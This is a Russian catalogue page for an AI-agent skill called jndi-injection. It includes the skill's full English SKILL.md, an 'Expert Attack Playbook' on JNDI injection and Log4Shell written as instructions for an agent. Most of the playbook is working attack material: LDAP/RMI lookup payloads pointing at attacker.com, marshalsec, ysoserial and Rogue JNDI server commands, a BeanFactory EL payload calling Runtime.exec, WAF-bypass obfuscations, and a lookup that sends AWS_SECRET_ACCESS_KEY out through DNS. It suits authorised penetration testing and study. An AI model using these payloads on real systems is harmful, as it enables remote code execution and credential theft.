К основному содержанию
скилл CX Codex

jndi-injection — скилл для Claude Code: JNDI-инъекции и Log4Shell

Плейбук по JNDI-инъекциям: разбирает lookup через RMI и LDAP, ограничения версий JDK и обходы после 8u191. Пригодится при проверке Java-приложений на Log4Shell.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add yaklang/hack-skills --skill jndi-injection -a claude-code
Открыть на GitHub

Что делает jndi-injection

Скилл описывает, как работает JNDI: InitialContext.lookup() с подконтрольным злоумышленнику именем заставляет JVM подключиться к чужому серверу и загрузить класс. Внутри — векторы через RMI, LDAP и DNS, таблица ограничений по версиям JDK и два обхода для 8u191 и новее: возврат сериализованного гаджета через LDAP и BeanFactory с EL-выражениями.

Отдельный раздел — Log4Shell (CVE-2021-44228). Разобраны payload-варианты ${jndi:ldap://...}, обходы WAF через ${lower:...} и ${::-...}, разбиение строки на две записи лога и точки инъекции вроде User-Agent, X-Forwarded-For и полей формы. Указаны уязвимые версии Log4j2 — от 2.0-beta9 до 2.14.1, исправление в 2.15.0 и 2.17.0.

Для запуска серверов нужны marshalsec, JNDI-Injection-Exploit или Rogue JNDI, а для обхода через десериализацию — ysoserial и гаджет-цепочка в classpath цели. Скилл ссылается на смежные плейбуки по десериализации и инъекциям в выражения SpEL и OGNL. Если в проекте нет Java и JNDI-вызовов, ставить нечего.

Какие задачи решает

  • подтвердить JNDI-инъекцию через DNS-запрос без выполнения кода
  • подобрать вектор обхода для JDK 8u191 и новее
  • проверить приложение на Log4Shell через поля формы и заголовки
  • собрать LDAP-сервер, отдающий сериализованный гаджет
  • найти JNDI-стоки вне Log4j2 — в Spring, Solr, Fastjson

Примеры запросов агенту

  • проверь это Java-приложение на JNDI-инъекции через InitialContext.lookup
  • какие payload для Log4Shell сработают на JDK 8u191
  • составь план тестирования JNDI-стоков в Spring и Solr

Как установить jndi-injection

1Через Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill jndi-injection -a claude-code

2Вручную: положить файлы

~/.claude/skills/jndi-injection/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/jndi-injection/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о jndi-injection

Как установить jndi-injection в Claude?

Выполните npx skills add yaklang/hack-skills --skill jndi-injection -a claude-code. Скилл появится по пути ~/.claude/skills/jndi-injection/SKILL.md.

Что делает скилл jndi-injection?

Разбирает механизм JNDI-инъекций, векторы через RMI, LDAP и DNS, ограничения версий JDK и обходы после 8u191. Отдельно разобран Log4Shell с payload и обходами WAF.

Какие инструменты нужны для работы со скиллом?

Для серверов-приманок — marshalsec, JNDI-Injection-Exploit или Rogue JNDI. Для обхода через десериализацию нужен ysoserial и гаджет-цепочка в classpath цели.

Исходный текст

SKILL.md · MIT
---
name: jndi-injection
description: >-
  JNDI injection playbook. Use when Java applications perform JNDI lookups with attacker-controlled names, especially via Log4j2, Spring, or any code path reaching InitialContext.lookup().
---

# SKILL: JNDI Injection — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface.

## 0. RELATED ROUTING

- [deserialization-insecure](../deserialization-insecure/SKILL.md) when JNDI leads to deserialization (post-8u191 bypass path)
- [expression-language-injection](../expression-language-injection/SKILL.md) when the JNDI sink is reached via SpEL or OGNL expression evaluation

---

## 1. CORE MECHANISM

JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA).

**Vulnerability**: when `InitialContext.lookup(USER_INPUT)` receives an attacker-controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code.

```java
// Vulnerable code pattern:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name);  // name = "ldap://attacker.com/Exploit"
```

---

## 2. ATTACK VECTORS

### RMI (Remote Method Invocation)

```
rmi://attacker.com:1099/Exploit
```

Attacker runs an RMI server returning a `Reference` object pointing to a remote class:
```java
// Attacker's RMI server returns:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM downloads http://attacker.com/Exploit.class and instantiates it
```

### LDAP

```
ldap://attacker.com:1389/cn=Exploit
```

Attacker runs an LDAP server returning entries with `javaCodeBase`, `javaFactory`, or serialized object attributes.

LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI).

### DNS (detection only)

```
dns://attacker-dns-server/lookup-name
```

Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS.

---

## 3. JDK VERSION CONSTRAINTS AND BYPASS

| JDK Version | RMI Remote Class | LDAP Remote Class | Bypass |
|---|---|---|---|
| < 8u121 | YES | YES | Direct class loading |
| 8u121 – 8u190 | NO (`trustURLCodebase=false`) | YES | Use LDAP vector |
| >= 8u191 | NO | NO | Return serialized gadget object via LDAP |
| >= 8u191 (alternative) | NO | NO | `BeanFactory` + EL injection |

### Post-8u191 Bypass: LDAP → Serialized Gadget

Instead of returning a remote class URL, the attacker's LDAP server returns a **serialized Java object** in the `javaSerializedData` attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved.

```bash
# ysoserial JRMPListener approach:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
# Then JNDI lookup points to: rmi://attacker:1099/whatever
```

### Post-8u191 Bypass: BeanFactory + EL

When Tomcat's `BeanFactory` is on the classpath, the LDAP response can reference it as a factory with EL expressions:

```
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")
```

---

## 4. TOOLING

### marshalsec — JNDI Reference Server

```bash
# Start LDAP server serving a remote class:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

# Start RMI server:
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099

# The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class
```

### JNDI-Injection-Exploit (all-in-one)

```bash
java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
# Automatically starts RMI + LDAP servers with multiple bypass strategies
```

### Rogue JNDI

```bash
java -jar RogueJndi.jar --command "id" --hostname attacker.com
# Provides RMI, LDAP, and HTTP servers with auto-generated payloads
```

---

## 5. LOG4J2 — CVE-2021-44228 (LOG4SHELL)

### Mechanism

Log4j2 supports **Lookups** — expressions like `${...}` that are evaluated in log messages. The `jndi` lookup triggers `InitialContext.lookup()`:

```
${jndi:ldap://attacker.com/x}
```

**Any logged string** containing this pattern triggers the vulnerability — User-Agent, form fields, HTTP headers, URL paths, error messages.

### Detection Payloads

```text
${jndi:ldap://TOKEN.collab.net/a}
${jndi:dns://TOKEN.collab.net}
${jndi:rmi://TOKEN.collab.net/a}

# Exfiltrate environment info via DNS:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}
${jndi:ldap://${hostName}.TOKEN.collab.net}
```

### WAF Bypass Variants

Log4j2's lookup parser is very flexible:

```text
${${lower:j}ndi:ldap://attacker.com/x}
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${jndi:l${lower:D}ap://attacker.com/x}
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}
```

### Split-Log Bypass (Advanced)

When WAF detects paired `${jndi:...}` in a single request, split across two log entries:

```text
# Request 1 (logged first):
X-Custom: ${jndi:ldap://attacker.com/
# Request 2 (logged second):
X-Custom: exploit}
```

If the application concatenates log entries before re-processing (e.g., aggregation pipelines), the combined `${jndi:ldap://attacker.com/exploit}` triggers.

### Real-World Case: Solr Log4Shell

```bash
# Confirm via DNSLog — Solr admin cores API:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}
# DNS hit with Java version = confirmed Log4Shell in Solr
```

### Injection Points to Test

```text
User-Agent          X-Forwarded-For       Referer
Accept-Language     X-Api-Version         Authorization
Cookie values       URL path segments     POST body fields
Search queries      File upload names     Form field names
GraphQL variables   SOAP/XML elements     JSON values
```

### Affected Versions

- Log4j2 2.0-beta9 through 2.14.1
- Fixed in 2.15.0 (partial), fully fixed in 2.17.0
- Log4j 1.x is NOT affected (different lookup mechanism)

---

## 6. OTHER JNDI SINKS (BEYOND LOG4J)

| Product / Framework | Sink |
|---|---|
| Spring Framework | `JndiTemplate.lookup()` |
| Apache Solr | Config API, VelocityResponseWriter |
| Apache Druid | Various config endpoints |
| VMware vCenter | Multiple endpoints |
| H2 Database Console | JNDI connection string |
| Fastjson | `@type` + `JdbcRowSetImpl.setDataSourceName()` |

---

## 7. TESTING METHODOLOGY

```
Suspected JNDI injection point?
├── Send DNS-only probe: ${jndi:dns://TOKEN.collab.net}
│   └── DNS hit? → Confirmed JNDI evaluation
│
├── Determine JDK version:
│   └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
│
├── JDK < 8u191?
│   ├── Start marshalsec LDAP server with remote class
│   └── ${jndi:ldap://attacker:1389/Exploit} → direct RCE
│
├── JDK >= 8u191?
│   ├── LDAP → serialized gadget (need gadget chain on classpath)
│   ├── BeanFactory + EL (need Tomcat on classpath)
│   └── JRMPListener via ysoserial
│
└── WAF blocking ${jndi:...}?
    └── Try obfuscation: ${${lower:j}ndi:...}
```

---

## 8. QUICK REFERENCE

```text
# Safe confirmation (DNS only):
${jndi:dns://TOKEN.collab.net}

# LDAP RCE (JDK < 8u191):
${jndi:ldap://ATTACKER:1389/Exploit}

# Version exfiltration:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}

# Log4Shell with WAF bypass:
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}

# Start LDAP reference server:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389

# Post-8u191 — ysoserial JRMP:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
```

© yaklang · MIT · yaklang/hack-skills

Похожие скиллы

Всё по теме «Безопасность» →
bluehammer-vulnerability-poc reason-machines Скилл ведёт агента по репозиторию BlueHammer: сборка C-эксплойта, запуск и разбор кода уязвимости. Для работы в изолированной лаборатории. CX Codex +1 570установок analyzing-active-directory-acl-abuse mahipal Читает DACL объектов Active Directory через ldap3, разбирает их в SDDL и показывает ACE, где GenericAll, WriteDACL или WriteOwner достались не админам. CX Codex +1 548установок ctf-writeup ljagiello Генерирует стандартизированный отчёт о решении CTF-задачи для проверки организаторами и передачи между участниками. Структурирует шаги решения, использованные инструменты и выводы в единый markdown-файл. CX Codex +1 7 900установок spring-boot-dependency-injection giuseppe-trisciuoglio Скилл внедряет паттерны внедрения зависимостей через конструктор в Spring Boot. Он помогает избавиться от field injection и настроить выбор бинов через @Primary и @Qualifier. CX Codex +1 3 800установок prompt-injection briiirussell Скилл проверяет приложения с ИИ-функциями на промпт-инъекции, обход прав и утечку системного промпта. Пригодится, когда в проект добавили LLM или агента. CX Codex +1 372установок keycloak-administration DauQuangThanh Скилл ведёт агента по настройке Keycloak: realms, клиенты, SSO, RBAC, федерация LDAP и разбор проблем со входом. CX Codex +1 320установок

Из того же набора93

saml-sso-assertion-attacks Плейбук для тестирования SAML SSO: проверяет, какие узлы XML подписаны, как валидируются Audience и ACS, где ломается доверие между IdP и SP. CX Codex +1 3 600установок active-directory-kerberos-attacks Плейбук по атакам на Kerberos в Active Directory: от сбора хэшей AS-REP и TGS до подделки билетов и эксплуатации делегирования. CX Codex +1 3 600установок http2-specific-attacks Скилл для проверки атак, связанных с HTTP/2: h2c, псевдозаголовками, HPACK и мультиплексированием. Нужен при аудите целей с поддержкой HTTP/2. CX Codex +1 3 600установок clickjacking Плейбук по кликджекингу: помогает выяснить, грузится ли страница в iframe и можно ли через невидимый оверлей нажать чужую кнопку. CX Codex +1 3 600установок active-directory-acl-abuse Плейбук по злоупотреблению правами Active Directory: опасные ACE, DCSync, shadow credentials, LAPS и пути из BloodHound. CX Codex +1 3 600установок csv-formula-injection Скилл для проверки того, как выгрузки в CSV и таблицы реагируют на формулы из пользовательских полей. Нужен при тестировании отчётов и экспортов. CX Codex +1 3 600установок expression-language-injection Плейбук по инъекциям Expression Language для тестирования безопасности в Java. Помогает находить и проверять уязвимости в SpEL, OGNL и Java EL при аудите веб-приложений. CX Codex +1 3 600установок dependency-confusion Проверяет риск dependency confusion в манифестах и CI. Нужен для аудита npm, pip, RubyGems, Maven, Composer и Docker. CX Codex +1 3 600установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой